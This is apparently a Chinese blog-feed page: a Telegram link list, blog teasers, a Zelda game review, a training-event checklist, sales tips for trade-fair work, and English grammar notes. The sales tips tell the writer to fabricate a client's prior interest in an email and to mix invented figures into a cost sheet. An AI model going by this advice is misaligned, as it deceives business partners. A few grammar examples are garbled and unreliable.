🔗 关联阅读
- Telegram FAQ：电报常见问题（英文网页）。
- The Evolution of Telegram：电报的演化（简史）。
- Articles about Telegram：这些文章涵盖了 Telegram 及其赞助商、全球企业家帕维尔•杜罗夫（Pavel Durov）。
- Telegram Messenger - Twitter：Keep evolving and stay in touch，官方推特会介绍各种
#TelegramTips。 - Telegram - reddit
- Telegram logos：Please feel free to use these Telegram logos. Just make sure people understand you're not representing Telegram officially.
- A long way from Moscow：'Russia's Mark Zuckerberg' took on the Kremlin - and lost his country by Christopher Miller
- Telegram X 介绍视频：超级炫酷，一定要看。
- 给电报找 Bug：欢迎安全研究人员将 Ta 们在 Telegram 应用程序或协议中发现 🧐 的任何问题提交到
security@telegram.org。 根据问题的严重程度，奖金从 500 美元到 10 万美元或更多。 - Telegram 背后的故事
- Telegram 传奇：一个关于俄罗斯富豪、黑客、极权和阴谋的创业故事 - 霍炬
- 关于 Telegram 的一些事 - 守望的麦子：我更加相信一定会有越来越多的理想主义者，他们相信 平等 和自由，坚守信念和价值观，每天充实地生活着。
- 我为什么选择 Telegram 来运营粉丝社群 | 规则、经验和思考 - 罗磊
- Telegram 教程全指南 by TG极客
- Telegram 群组、频道、机器人 - 汇总分享 - 聪聪 Blog
- Telegram 频道：Newlearnerの自留地 导航页
Stay home. Wash your hands. Be safe. And stay tuned for our next updates! It is already brewing in our dungeons! 呆在家，常洗手，敬请关注，更强大的 Telegram 已经在我们的地牢里酝酿中了！
📞 与我联系
欢迎读者在 Telegram 搜索 @tingbot 与我取得联系：指出此文疏漏，推荐优质频道和机器人，一起跨越数字鸿沟，共享信息自由。
- 博客 Jiajun的编程随想 2019-11-08 08:00:00《disqus获取评论时忽略query string》我的博客使用disqus，但是默认情况下有一个问题，那就是如果有query string，那么评论只会在对应的query string下才会显示，而我想要忽略query string，以去除query string的URL为唯一标识来加载评论...
- 博客 Jiajun的编程随想 2019-11-06 08:00:00《MySQL性能优化指南》数据库优化，是一个存在了几十年的问题，更是每一个后端开发者精进路上必须掌握的技能。而性能优化的核心，就是抠门。在完成功能的前提下：对于CPU，执行越少的代码，那么所需要的CPU时间就越少，因此程序就会越快；...
- 博客 Randy's Blog 2019-11-05 08:00:001621
- 博客 Randy's Blog 2019-11-05 08:00:001622
- 博客 Jiajun的编程随想 2019-11-01 08:00:00《网络编程所需要熟悉的那些函数》> 注：图片来自《TCP/IP协议详解卷二：实现》...
- 博客 Jiajun的编程随想 2019-10-31 08:00:00《DNSCrypt简明教程》我们输入 `jiajunhuang.com` 之后，浏览器是需要将 `jiajunhuang.com` 翻译成IP，然后才能建立TCP连接的。而将域名翻译成IP地址，就是DNS服务器的事情，但是有一个小问题，DNS是明文的...
- 博客 Jiajun的编程随想 2019-10-30 08:00:00《SQLAlchemy简明教程》SQLAlchemy是Python中常用的一个ORM，SQLAlchemy分成三部分：- ORM，就是我们用类来表示数据库schema的那部分...
- 博客 庭说 2019-10-29 00:00:00
一般来说，同一个单词，名词形式在第一个音节重读，动词形式在第二个音节重读。
C
Content
ˈkäntent
How was the content of the lectures?
讲课的内容是什么？kənˈtent
Personally, I'm quite content with the newcomer.
就我个人而言，我对新人挺满意。D
Desert
ˈdezərt
The Sahara desert is one of the largest deserts in the world.
撒哈拉沙漠是世界上最大的沙漠之一。dəˈzərt
Where is everyone? - The town's deserted.
大家都去哪儿了 -小镇荒废了。dəˈzərtdessert
Julie, do you mind getting the dessert?
朱莉，你能去帮我把甜点拿来吗？P
present
ˈprez(ə)nt
Have you any ideas for presents?
你想好买什么礼物了吗？I sold it to the present owners.
是我把它卖给了现在的主人。prəˈzent
I presented at the Teen Choice Awards.
我出席过青少年选择奖。 - 博客 王子亭的博客 2019-10-27 01:00:00
开门见山地说，「塞尔达传说：旷野之息」是我玩过最好的 RPG（角色扮演）游戏，可能也是目前最好玩的开放世界、动作解密类的 RPG 游戏。我在八月初买了 Switch 和旷野之息之后，几乎每天晚上、每个周末都在玩，上班也要带着午休的时候玩，出门也要带着边走边玩。目前的游戏时间超过 160 小时，我觉得就算买来 Switch 只用来玩旷野之息，也值了。
对一个事物最好的评价应该是「恰到好处」，旷野之息就是这样一个恰到好处的游戏，很难说它有什么地方是最好的，但就是各种恰到好处的取舍，让它营造出了一个有着充分的代入感的世界，成为了最好玩的游戏。
旷野之息选择了一种类似赛璐珞的风格来渲染 3D 模型，带来了一种非常特殊的、类似水彩画的视觉风格。旷野之息在掌机模式下是 720p 30 帧，TV 模式下是 960p 30 帧，只能说是一个中规中矩的数据，不如同时期游戏在我的 Windows PC 上的效果。实际游玩过程中在极少数光影比较复杂的雨林场景会有明显的掉帧，其他的时候都非常流畅。
探索开放世界
旷野之息首先给我带来的就是「探索」的乐趣，我在开始玩旷野之息之前并没有看太多的测评，在打开游戏时其实我对这个「世界」一无所知（尤其塞尔达传说是一个系列作品），但好在本作的主角也失去了记忆，同样对这个世界一无所知，我随着主角的视角探索着这个世界，了解之前发生过的事情，经历着很多个「第一次」，体验着很久都没有过的、有关发现的乐趣。
如果你准备在近期游玩旷野之息，并且想充分体验这种「探索」的乐趣，那么建议你关掉这篇文章，在完成主线剧情之前不要看任何的测评、教程和攻略。 如果你不打算在近期游玩的话，还是可以继续看的，毕竟在一段时间后你的记忆就会模糊掉，不至于太严重地影响探索的乐趣。
有一个说法是，「开放世界」的重点不在于「开放」而在于「世界」。只有构建了一个能够让玩家产生代入感的世界，玩家才会感觉到开放，感觉自己可以在这个世界中获得自由。
旷野之息便做到了这一点，它有着一个非常大的无缝地图，据网友测算面积大概在 40 - 80 平方公里左右，其中有平原、湿地、火山、雪山、沙漠、峡谷等地形，因为面积足够大，这些地形之间的过渡也非常自然。更关键的是，这几十平方公里的地图是经过精心设计的，而不是随意摆放或随机生成的，地图的每一个角落都恰到好处地安排了可以互动的元素，可以是一个有趣的景观，一个驿站、一个村落、一个怪物营地、一个解谜任务，或是一个可收集要素。
旷野之息赋予了主角攀爬、滑翔、游泳的能力，因此这个巨大的地图对于玩家来说并不是平面的，而是立体的，玩家可以先攀爬到高处，再通过滑翔越过低处的障碍等等。地形会阻挡或引导玩家的视线，从地图上的一个点到另外一个点不再是一条直线，每一条路线上都会有不同的体验。
图为从山上远眺海拉鲁平原
当你想要探索一个地区的时候，也会非常自然地先登上高处 —— 这是我第一次在游戏中产生这么直观的念头，也是我第一次在一个游戏里认真地俯瞰远处的事物，因为我知道视线所及的一些都是可探索的，我早晚有一天会去到那里，而不仅仅是一张贴图。前面提到的攀爬、滑翔和游泳都会用到一个「精力值」，用尽的话就会从山上跌落，所以还是要谨慎地在登山过程中寻找落脚点来休息。
游戏中的主线和支线任务会引导你去探索地图，所有的故事也围绕着这个地图展开。同时在游玩的过程中你也会有一种内在的动力，想要去走遍地图的每个区域。只有这样一个足够庞大和丰富的世界，才会让玩家感受到这是一个完整的世界，而不是自己被局限在某个小区域。再加上天气和昼夜的变化，在不同的时间和天气，来到同一个地方，观感是完全不同的，这在扩充了游戏内容的同时也进一步提升了代入感。
图为第一次遇到的龙，非常震撼
我们不提人物、剧情、战斗，仅仅这个地图就值得说这么多，实际上我觉得旷野之息的要素完全是基于这张地图展开的。旷野之息并不是要复刻一个「真实」的世界（例如 GTA），而是要在其中去填充有趣的细节，给玩家带来一种经过了精心设计的探索体验。
非线性流程
因为开放世界的缘故，旷野之息的剧情是非线性的，玩家可以自由选择完成主线和支线任务的顺序。当然游戏并不会把这些任务摆出来给你选，所以其实是很随机地，你走到了哪里就遇到了什么样的任务。这样的设定造成每个玩家的体验是完全不同的，每个玩家完成每个任务、第一次遇到某个事物的顺序都是不同的，每个玩家觉得有趣和困难的点也不同。
游戏一开始就告诉你了反派盖农就在城堡里，你需要去城堡里救公主。而其余大部分的剧情都是非常直接地在为这个目标服务，例如有若干段回忆（CG）告诉你一百年前发生的事情，另外一部分有关四大神兽的主线任务则是为击败盖农所做的准备。这样的设计让玩家在探索世界的过程中不至于失去目标，因为你知道你做的一切都是在积蓄力量，等待着有朝一日去城堡战胜盖农，救出公主，拯救世界。城堡位于地图的中央，在整个游戏的过程中你一直都能看得到城堡，记得自己的目标。
图为远处的海拉鲁城堡
不同于其他一些 RPG 游戏，旷野之息中并没有经验、等级和技能树这样的机制来大幅提升主角的能力；防具系统也较为简单，只能增加防御和提供一些特殊效果；完成的神庙数量会增加血量和精力槽（限制攀爬、游泳和滑翔续航）。
在此之外，游戏并没有限制你在什么样的阶段可以去挑战什么样的敌人。你在游戏的过程中可以感受到更大程度上是因为你的技术的提升（或者说对游戏机制的了解），你才能够逐步地去挑战更强大的敌人。除了一开始的初始台地之外，游戏也没有限制你在什么样的阶段可以去到地图的哪个区域，在非常早的阶段，你就获得了去到地图上任意一点、甚至跳过剧情直接挑战最终 Boss 的能力。
图为进入城堡挑战盖农之前
图为赛尔达公主封印盖农
相比于其他一些游戏中手把手地、较为出戏的「新手教程」，旷野之息将所有的引导都放在了游戏流程中。一部分内容会通过不那么显眼的 NPC 对话来交待，另外一部分则可能完全没有介绍，而是将你放到一个较为封闭的环境中，然后等待你自己去摸索发现新机制的用法，然后再逐渐地增加难度、与其他机制进行组合。
1 + 1 > 2 的互动机制
旷野之息的互动机制，包括和怪物的互动（战斗）、和环境的互动（探索）、和谜题机关的互动（解谜）都显得精简而完备，更注重将不同的元素加以组合，用少量的机制来支持多样的玩法，而不是简单地堆砌。
游戏中没有复杂的战斗技能，魔法效果也仅有三种：冰、火、电。但无论是武器、怪物还是环境都会和这三种基本属性发生互动。
- 冰可以可以被火融化、拿着冰属性的武器可以抵御炎热、冰属性的武器可以冻结敌人。
- 火会产生上升气流吹起滑翔伞、火可以抵御寒冷、火可以点燃草、篝火或者敌人、烘烤食物。
- 电可以在水中传导更远、金属物体可以导电、雷属性的武器可以麻痹目标令其手持的武器掉落。
图为使用篝火来融化冰块
游戏中还有温度、天气和日夜变换，这些效果不仅仅在影响着视觉效果，也在非常积极地参与游戏机制：
- 玩家需要穿戴对应抗性的防具来抵御过高或者过低的温度，过高的温度会烤熟食物、点燃木质武器；过低的温度则会冷冻食物。
- 雨会浇灭火、会让岩壁变得湿滑难以攀爬；金属物体在雷雨天会被雷劈。
- 风会影响草燃烧的方向、可以吹走物品、滑翔伞会沿着风的方向滑行。
- 夜晚会出现骷髅构成的敌人、萤火虫等生物；NPC 和怪物在夜晚也会睡觉；晚上会有陨石（流星）掉落；昼夜变换也会影响沙漠地区的温度。
总之这些机制以一种「合乎逻辑」的方式在产生着互相作用，也在影响你游戏时的行为，你会做出一些非常符合逻辑的行为，进一步提升代入感。例如在下雨时因为难以攀爬、能见度不高，你会想要找个地方避雨，点燃篝火来消磨时间；在身上着火的时候会想要跳入水中灭火等等。
这样的组合机制会让玩家非常积极地去尝试新的互动类型，同时旷野之息的死亡惩罚也非常地低，游戏允许在任何时刻暂停来更换武器和防具、服用料理和药物，在除 Boss 战的任何时候传送和存档，死亡不会掉落任何物品或携带负面效果，非战斗死亡（摔死、溺水）自动在最近的安全地点复活。
战斗、解谜和其他
这个世界是如此地吸引我，以至于同样非常吸引人的战斗和解谜被我放在了最后来介绍。
游戏的战斗和解密共用了一套物理引擎，它支持了前面提到的冰、火、电、风等互动效果，也支持了炸弹、磁铁、冰块、时间暂停这几个有限的解谜技能。这意味着游戏中并不存在明确的「战斗技能」和「解谜技能」的区分，你可以用磁铁吸起铁块来砸死怪物，也可以用电属性的武器来点亮解密关卡中的电路。
虽然前面提到游戏的要素十分精简，怪物仅有十几种模型，但战斗的流畅性和打击感却意外地好，可以锁定视角、可以潜行暗杀、可以蓄力和跳劈、可以投掷、可以弹反、可以骑马战斗、在飞行中拉弓可以触发「林克时间」—— 放慢时间来提供更多瞄准的时间。同时旷野之息中有弓箭、单手剑、双手剑、枪等不同类型的武器，种类多但不重复。这些机制的组合让旷野之息即使作为一个刷怪的游戏也相当有可玩性。
图为使用弓箭射击守护者
旷野之息有一个很有趣的设定，武器是有耐久度的，且耗尽会直接消失，无法修复。这意味着无论多厉害的武器，大概在砍了几十下之后便会消失。虽然有些朋友表示非常不舒服，但我觉得一旦接受了这种设定就会感觉到这是一个很好的设计：鼓励玩家尝试不同的武器，而不是一直用着「最好的武器」；同时后期打小怪时也不会那么无聊 —— 我通常是用比较差一点的武器打小怪。
因为旷野之息的地图如此之大，虽然可以随时传送，但仍有时候需要借助载具来赶路，不算 DLC 中的摩托车的话，唯一可用的载具就是马。而马这个系统的设计也非常地下功夫，和其他的游戏内容很好地结合在了一起，例如游戏中有 15 个以寄存马匹为核心服务的驿站，顺便也承担了其他一些补给功能。
马匹需要你自己去捕捉，在捕捉到马匹之后还要经过一段时间的磨合来达到最好的操控效果。在地图中有比较明显的「道路」你在骑马的时候会有意识地沿着道路来走 —— 否则马跨越障碍的能力是很差的，游戏中刻意模拟了一种「操纵另外一个生物」的感觉，让你感觉到马并不是万能的，但在有条件的时候你一定会想到它。
DLC
在完成主线任务（讨伐盖农）之前我就买了 DLC，作为一个统计爱好者，主要还是看是看中了可以在大地图上显示轨迹的功能：
DLC 中的剑之试炼和英杰的诗篇是在完成主线后开始打的，总体上来说我对这两个 DLC 并不感兴趣，原因是这两个 DLC 都以解密和限制性的战斗关卡为主，相比于游戏本体难度也有提升，但并没有给我带来探索的乐趣，截至本文发布我还未完成剑之试炼。
小结
旷野之息就是这样一个可以称之为艺术品的游戏，它恰到好处地营造了一个让你有着充分的代入感的世界，也提供了充实的游戏内容，可以轻松支持 200 小时左右的游戏时间。本文也仅仅是从我的个人的角度介绍了最吸引我的部分，但仍有大量的游戏机制和内容并没有提到，在此推荐所有读者尝试一下这款游戏。
- 博客 Jiajun的编程随想 2019-10-25 08:00:00《这些年，我们错过的n个亿》这些年，我们错过了不知道多少个亿。工作了几年，了解了以前的历史，回头看来，马后炮总是那么容易，但是我们就算马后炮，也要总结历史经验...
- 博客 Jiajun的编程随想 2019-10-19 08:00:00《给Linux用户的FreeBSD快速指南》可能现在很多人甚至没有听过FreeBSD，但是不得不说，FreeBSD虽然市场份额变小了，仍然是UNIX家族中重要的一支...
- 博客 庭说 2019-10-19 00:00:00
不仅课程内容要有料有趣，如何设计活动流程，也是一门大学问。
课前
致学员
- 准时开课：才对得起按时参加的同学
- 消失一天：我今天（09:30 至 16:00）参加由
***举办的第*期***。我承诺一定完成今天的学习任务。培训期间不方便接听电话，有事请在微信留言，我会在课间休息的时候联系你。
举办方
- 1 人 1 份
- 课程大纲 + 草稿纸
- 签字笔
- 纯净水
- 姓名贴纸
- 茶点
- 午餐
- 若干助教
- 计分
- 保管手机（2 个小时看一次手机）
- 传递话筒
- 倒计时动画：开课前 5 分钟开始倒计时
- Windows 10 用户：
Windows 徽标键 + S打开搜索框，输入闹钟即可打开倒计时
- Windows 10 用户：
- 背景音乐
- 演讲型 PPT：没有错别字，逻辑清晰，版式简洁
- 摄影师
- 奖品
- 分组牌
- 手机收纳袋（有组别标记）
- 计分板
- 课堂调查问卷
课时
热身
规则
- 有 Tim 说：执行动作
- 没 Tim 说：保持动作
举例
- 主持人：Tim 说举起右手
- 学员：举起右手
- 主持人：放下右手
- 学员：保持动作（不响应指示，因为 Tim 没说）
- 主持人：Tim 说举起左手
- 学员：举起左手
分组
报数，并记住自己数字：
- 根据人数确定组数，例如 100 人，分 10 组
- 从 1 到 10 循环报数
- 数字 1 的人分到第一组 …… 数字 10 的人分到第十组
- 迟到的学员分到第 11 组
积分
- 每个组的基础分数是 5 分
- 答对加分
- 手机没静音扣分
- 奖励第一名
- 惩罚最后一名
反馈
- 根据学员的吸收程度调节语速
课后
- 扫二维码，填写课堂调查问卷，并奖励有建设性的意见。
- 颁奖
- 合影
关联视频：如何开一场高效的会议 - Topbook
- 博客 庭说 2019-10-19 00:00:00
从获客阶段、开发阶段、量产阶段到增长阶段。
获客阶段
如何介绍公司
- 自我介绍：你好，我是
***的***，负责***。 - 公司介绍：
***来自***，主要生产***，已有**年历史。 - 核心优势：我们有自己的
***，配合***、***和***等品牌开发超过***款产品。 - 重点产品：这次展会，我们的主打产品是
***…… - 递上名片：可以订在产品画册上。
如何展示产品
- 精准表达：我们这一季的新品有
*个系列，共有**个产品，分别是**类、**类和**类。 - 对症下药：对于您的品牌，我们推荐
**类的**型号的产品，适合打开新的增量市场，这是样品和效果图。 - 取得联系：请问您的 email 是？我们稍后把产品资料发送给你。
如何回答不懂的问题
- 即时反应：非常抱歉，我需要和技术人员确认一下这个问题。
- 取得联系：今天内给您一个详细的答复，请问您的 email 是？
- 推荐产品：您可以看看我们的其他产品（参考上文「展示产品」的表达）。
Tips
- 个人：借助云笔记软件，建立属于自己的百科全书。
- 公司：完善知识库和 FAQ（Frequently Asked Questions，常见问题）。
如何邀请客人参加展会
展前 15 天开始联系，展前 1 天确认。
Hi
***,
How are you? This is Tim from***.
Are you going to attend the Canton Fair this year?Last time you have been interested in our
***products. (没有也要捏造一个) We sincerely want to invite you to our booth (No.***). We will show you*new collections of the***, totally***products.If you are not able to attend but would like to see our range of products, I can send our catalog to you as well.
Thanks,
TimHi
***,We are excited to see you again next week at
小型的内部供应商大会.For this season. We have
*new collections and the***is the key element.I am wondering if you are available on Sep. 29th night for a dinner with me and my boss who is the first time to visit
***and want to thank you for your great support as always.Looking forward to seeing you real quick next week.
Tim如何在展会上接待客户
- 前台：有经验的业务员筛选客户，挡在门外还是进一步洽谈
- 洽谈区：业务经理「啃」下大客户
如何在展会上找大客户
- 咖啡厅
- 酒店
- 展位上
如何在展会后跟进客户
重点客户
- 交谈结束后，几分钟内内写下需要跟进的内容
- 记住客户的国际快递账号，方便寄样
- 持续跟进，不要气馁
小客户
- 小鱼有可能会长成大鱼
- 定期更新产品，并通过邮箱发送 Newsletters
开发阶段
如何制作 PPT
类型
- 演讲型：有力（Power）简洁（Point）
- 阅读型：内容详实
内容
- Who
- 一句话介绍公司概况
- 产品或服务（可选）
- 成长历程（可选）
- What
- 硬件
- 工厂规模：一天可以生产多少成品（具体化），而不是多少吨
- 生产机器
- 检测设备
- 软件
- 员工数量
- 服务能力
- 标杆客户
- 可选：企业文化、社会荣誉、上市与否、专利数量
- 硬件
- Why
- 现在：带给客户的价值
- 未来：配合客户的发展战略
其他
- 压缩 PPT 文件：Microsoft Office 和 WPS 自带的图片批量压缩功能
- 风格简约
- 颜色：黑白灰 + 品牌色
- 字体：不超过 3 种
如何约见新客户
- 提供价值：解决客户的问题，不限于产品，可能是有用的信息
- 降低成本：选定多个约见时间，降低客户的时间成本和决策成本
如何让客人信任你
- 充分准备：预演客户会提的问题；完善自己的随身百宝箱（大笔记本、笔、尺……）
- 职业信任：穿着；边谈边确认
- 专业信任：不要黄婆卖瓜，自卖自夸，可通过同事介绍你的来历
什么时候报价
- 客户未请求报价之前，越晚越好，因为在客户认可价值之前，任何价格 Ta 都不会满意
如何避免跑单
- 肯定友商
- 打预防针：低价可能意味着低质
- 及早制定工作计划：让客户「深陷」项目中，增加更换供应商的成本
报错价了怎么办
- 换人：换职位更高的经理去道歉
- 理由：因为正在出差，没有审核……
客户觉得价格高怎么办
- 很高兴跟你合作
- 同意客户价格高的观点
- 为什么价格高
- 行业地位、经验
- 客户背书、忠诚度高
- 质量、交期
- 原材料有环保检测证书
- 社会责任
如何跟客户杀价
- 挖掘信息：贵多少，和谁比
- Too expensive, compared to what?
- How much higher are we?
- What price were you expecting?
- What makes you to say that?
- 提供低配版本，但表示不想牺牲质量
- 每个产品都会检查质量，并非抽检
- 成本分析表（虚实结合）：合理的利润，才能给客户更好的服务。
- 同意杀价，但要
- 现在下单
- 交期我定（拼单）
- 提高订单数量
- 其他合作方式是否一致
关联阅读：索菲外贸笔记 - 讨价还价
没库存怎么办
- 很抱歉，这款产品没有库存，重做需要
**天。 - 但是类似的产品有库存（编号
**），我们推荐***，因为交期稳定，价格美丽，质量上乘…… - 请告诉我你的选择。
客户不回邮件怎么办
Why
- 英文不地道：称谓、语法、标点符号后面没有空一格……
- 触发 Spam：附件过大、图片、网址……
- 客户方面
- 更喜欢用 WhatsApp 沟通
- 在度假
- 催促过激，引起反感
- 错过采购时期
How
- 换同事的 email 账号去跟进
- 询问客户遇到哪些困难，需要哪些帮助
- 打电话，但是要提前预约时间
- 报价单的有效期快过了，请客户尽快回复
- 节假期快到了，再不回复，影响交期
- 最后通牒：再不回复，将停止跟进这个项目
量产阶段
交期来不及怎么办？
Why
- 客户原因
- 工厂原因
- 不可抗力
How
- 如实告知
- 分批发货
- 每天告诉客户进度
- 提供 2 个紧急联系人
短装怎么办
- 发货前：拍照 + 拍视频
- 第三方检验
- 现场确认
- 制定 Action Plan，确保下次合作不会再犯此类错误
客户投诉质量怎么办
- 防范未然：检查做货合同是否有法律效应
- 诚恳致歉：如果是多方原因，用 We 自称
- 解释原因：文字 / 图片 / 视频……
- 解决方案：补货；在下一个订单抵扣
- Action Plan：确保下次合作不会再犯此类错误
增长阶段
- 关注大客户
- 外观创新
- 功能创新
参考资料：新创学院（公众号：fmniiasia）
- 自我介绍：你好，我是
- 博客 Jiajun的编程随想 2019-10-18 08:00:00《旧电脑也不能闲着：家用备份方案》手头上有三台本子，一台X61，一台Y400，一台超级本，外加一个阿里云小水管vps。老机器常年放着，电池报废了，国庆回去换了个电池，遂决定拿来做远程备份。超级本由于日常要用，而且因为划分了双系统，硬盘不是很足，因此不加入家庭备份方案(重要资料除外，如下述)...
- 博客 Jiajun的编程随想 2019-10-15 08:00:00《将SQLite的数据迁移到MySQL》这几天将Grafana的数据库 `/var/lib/grafana/grafana.db` 迁移到了 MySQL，原因是不想维护多个数据库备份，全都丢MySQL里，统一管理，统一备份即可...
- 博客 庭说 2019-10-14 00:00:00
- 《英语阅读参考手册》为主，点此下载 电子书。
- 《柯林斯 COBUILD 英语语法大全》为辅。
- 不想看书，就看英语兔的视频吧：一个视频说清整个英语语法体系（重塑你的语法认知框架）- 哔哩哔哩 bilibili
英语时态
- 过去时：I had lunch already. 我吃过午饭。
- 现在时：I am having lunch. 我正在吃午饭。
- 未来时：I am going to have lunch. 我（将要）去吃饭了。
- 现在完成时（Present Perfect Tense）：I have had lunch. 我吃完午饭了。
现在完成时（Present Perfect Tense）：
Just Yet Still Already 意思 刚刚、刚好、刚才 还未完成 原本预计内应该要完成，但还未完成 已经完成，比预期内提早完成 位置 放在助动词 Have 与动词之间 句末 句中 放在助动词 Have 与动词之间 语气 – 中立 批判 – 否定型 – ✓ ✓ – 例句 I have just handed in my homework. (我刚刚递交了功课。) I have not yet handed in my homework. (我还未递交功课。) (暗藏意味：尚未完成某些事，也不知道什么时候会完成，时间点比较模糊) I still have not handed in my homework. (我仍然未递交功课。) (暗藏意味：期限已经过了，但是我还是没有交功课。) I have already handed in my homework. (我已经递交了功课。) (暗藏意味：我在限期前交了功课。) 什么是一般：简单的，默认的，普通的。
一般现在时：用来表述习惯或者客观事实。（和现在没啥关系）
什么是将来：非常确定会发生的事。
虚拟语气
英语分 3 种语气：
陈述语气：陈述事实（现实）、提出看法或问题等。所说的是真的。
I like this book the best.
If you get up earlier, you will be able to catch the first bus.祈使语气：表示请求、命令或警告等。希望所说的成真。
Don’t be so careless.虚拟语气：表示假想或主观愿望。所说的与事实不符。
I suggest that we should go tomorrow.
If you dropped the glass, it would break.
How to 虚拟语气：
- 以动词的过去式作为表达「非事实」的手段。
- 过去式并不是过去时。虚拟语气中的过去式只是一个表示虚拟语气的形式，而不是表示过去的时态的形式。
表示相反
虚拟现在
- 条件从句的谓语：用过去式（be 用 were）
- 主句谓语：should / would / could / might + 动词原形
e.g. (example given)
- If I were you, I would not tell him the truth.
- If we left now, we should arrive in good time.
虚拟过去
因为时间本来就是过去，若还要用过去形态来表达非事实语气，就必须用过去完成的形态。
- 条件从句的谓语：had+ 过去分词
- 主句谓语：should / would / could / might + have+ 过去分词
e.g.
- If you had got up earlier, you would have caught the first bus.
- If he had been in that train then, he might have been killed in that accident.
虚拟将来
- 条件从句的谓语：用过去式（be 用 were）
- 主句谓语：should / would / could / might + 动词原形
e.g.
- If he went, would you go too.
- If I asked him, I'm sure he'd help us.
- 可能性特别低：should
If I should win the lottery, I would buy you a car. - 不可能发生：were to
If I were to lie to her, I would lose her.
表示愿望
hope 中性
wish 可能小
- 与现在相反 wish + 过去式： I wish (that) I were a rabbit
- 与过去相反 wish + 过去完成式：I wish (that) I had eaten the carrot.
- 与将来相反 wish + woud / should / could / might + 动词原形：I wish (that) I could eat the carrot.
would rather 与 wish 有类似的用法：
- I would rather that you didn't eat the carrot.
表示请求
demand / suggest / insist / would rather + (should) + 动词原形
- I suggest that you (should) eat a carrot. (宾语从句)
- It is suggested that you (should) eat a carrot. (主语从句)
- The suggestion is that you (should) eat a carrot. (表语从句)
- It is (high) time that you ate a carrot. (定语从句)
倒装结构
If I were a boy, I might be very handsome. = Were I a boy, I might be very handsome.be 动词因虚拟语气变为过去式时只会变为 were，而永远不会变成 was。
混合时态会有一个明显的时间标识，例如 now：
If I had finished my work earlier, I could have dinner now.
If you'd listened to me, you wouldn't be in such trouble now.混合语气
I could have caught that bus, only that I forgot to get any money out.句子分类
以下特指陈述句的分类。
简单句
主谓宾
主语 + 谓语 + 宾语，例如：I love her.
主谓
主语 + 谓语，例如：I gave up.
主系表
主语 + 系动词 + 表语，例如：Tom is shrewd.
表语之所以叫表语，意思是：表示主语状态或性质的语法成分。
主谓 + 双宾语
主语 + 谓语 + 间接宾语 + 直接宾语，例如：I gave you a book.
如果你和我一样，经常分不清间接宾语和直接宾语，就记住上面这个例子，I gave you a book，我给了你一本书。当我拿着书递到你手上时，我直接接触的是书，所以叫直接宾语，间接接触你，所以叫间接宾语。
间接宾语和直接宾语的区别一般在疑问句里才有用，比如 Who did you buy the car for? 这句话翻译成汉语是「这辆车是你买给谁的？」，其中 who 充当了间接宾语，需要后面补出介词 for。即你不能这样问 Who did you buy the car?【误】
主谓宾 + 宾补
主语 + 谓语 + 宾语 + 宾语补足语，例如：Tom viewed Jerry as a hero.
宾语补足语 🆚 后置定语
- 宾语补足语：宾语在承受动作（谓语）之后才产生的属性，例如 We consider the answer correct.
- 后置定语：表明的属性和谓语体现的动作无关，例如 Tom love the girl operating the machine.
简单句 = 主干成分 + 非主干成分
- 主干成分即五大基本句型的语法成分：主语、谓语（包括系动词）、宾语（包括直接宾语和间接宾语）、表语、宾语补足语。
- 非主干成分指修饰限定成分，通常指定语和状语。
提取句子主干的步骤
- 找出句子谓语动词
- 动作的发出者：主语
- 动作的接受者：宾语
- 描述主语状态或属性的成分：表语
- 补充说明宾语的成分：宾语补足语
并列复合句
并列复合句指若干个结构、功能、性质相同的简单句用并列连词或表示并列的标点符号（通常是分号和冒号）连接所形成的句子。例如：
The girl looked at me intently, and she invited me to her wedding.
这句话中 and 这个并列连词连接了两个不同的简单句，分别是：
- The girl looked at me intently.
- She invited me to her wedding.
形成了一个并列复合句。
并列连词
- for
- and
- nor (neither…nor…)
- but
- or (either … or…)
- yet
- so
- not only … but also …
首字母缩写为 fanboys（迷弟）。只有并列的对象是句子时，它才是并列复合句。
主从复杂句
主从复合句指若干个简单句用从属连词、关系代词、关系副词连接所形成的句子。例如：
She said that the President went to the hospital yesterday.
这句话由两个简单句组成，其中一个是
she said …，另一个是the President went to the hospital yesterday，其中that引导了第二个句子，整体作为前面这个句子的宾语，即宾语从句。定语从句
也叫形容词从句或关系从句。
其指代对象就是先行词。
关系代词引导
- which / that / who / whom / as …+ 非完整句（有时可以省略关系代词）
- whose …+ 完整句
- 介词 + 关系代词（非 that / as）… + 完整句
that vs which
- that：先行词是唯一的，有明确的对象，没得选
The rabbit ate the largest carrot that I've ever seen.
All the rabbits that ate a carrot.
The only rabbit that ate a carrot.
The first rabbit that ate a carrot. - which：先行词多选一，可替换为 that
The rabbit ate a carrot which i bought.
The rabbit ate a carrot that bought.
非限定性形容词从句作插入语
- My head,
which is big, is useful when it rains.
我有大头，下雨不愁。 - The biggest carrot,
which the rabbit ate, was on the table.
最大的那根胡萝卜曾在桌上，兔子吃了它。
非限定性形容词从句指代整句话
- The rabbit ate the carrot, which was not surprising.
兔子吃了胡萝卜，这事儿不令人吃惊。
关系副词引导
when / where / why … + 完整句
主语从句
- That / Whether / How / Where / When + 完整句 + 谓语动词 + …
- What / Who + 非完整句 + 谓语动词 + …
主语从句太长，让整个句子头重脚轻，就可以用 It 做形式主语：
- It（形式主语）+ 谓语动词 + … + that + 完整句
- It is suggested / important / essential / necessary / demanded / insisted / ordered that you (should) eat a carrot. （虚拟语气）
- That you (should) eat a carrot is suggested / important / essential / necessary / demanded / insisted / ordered.
宾语从句
- 主语 + 及物动词 / 系动词 + that / whether / if / how … + 完整句
- that 有时可省略：I know (that) the rabbit ate a carrot.
- that 不可省略：I know, just like you do, that the rabbit ate the carrot.
- 主语 + 及物动词 / 系动词 + what / who / whom … + 非完整句
否定加在谓语动词前，而非从句中
- 正确：I don't think (that) the rabbit is smart.
- 错误：I think (that) the rabbit isn't smart
主从时态一致（主句时态 = 宾语从句时态）
- I don' t think (that) you're right.
- I didn't think (that) you were right.
- I knew (that) the rabbit liked carrots.
- 永恒 / 客观 / 不变现象是例外：I knew (that) the sun rises in the east.
表语从句
主语 + 用（连）系动词 + 表语（主语补语）
- 主语从句 + 表语：That the rabbit ate a carrot is a secret.
- 主语 + 表语从句：The secret is that the rabbit ate a carrot.
系动词是非 be 动词
- It seems that the rabbit is hungry.
It是形式主语 - It feels that you're not telling the truth.
同位语从句
名词性成分 + that / whether / who … + 完整句
- The fact that the rabbit ate the carrot did not surprise me.
兔子吃了胡萝卜这个事实并没让我吃惊。 - The question whether the rabbit will eat the carrot is on all our minds.
兔子是否会吃胡萝卜这个问题萦绕在我们所有人心中。 - I have no idea who ate the carrot.
我不知道谁吃了那胡萝卜。
状语从句
也叫副词从句。
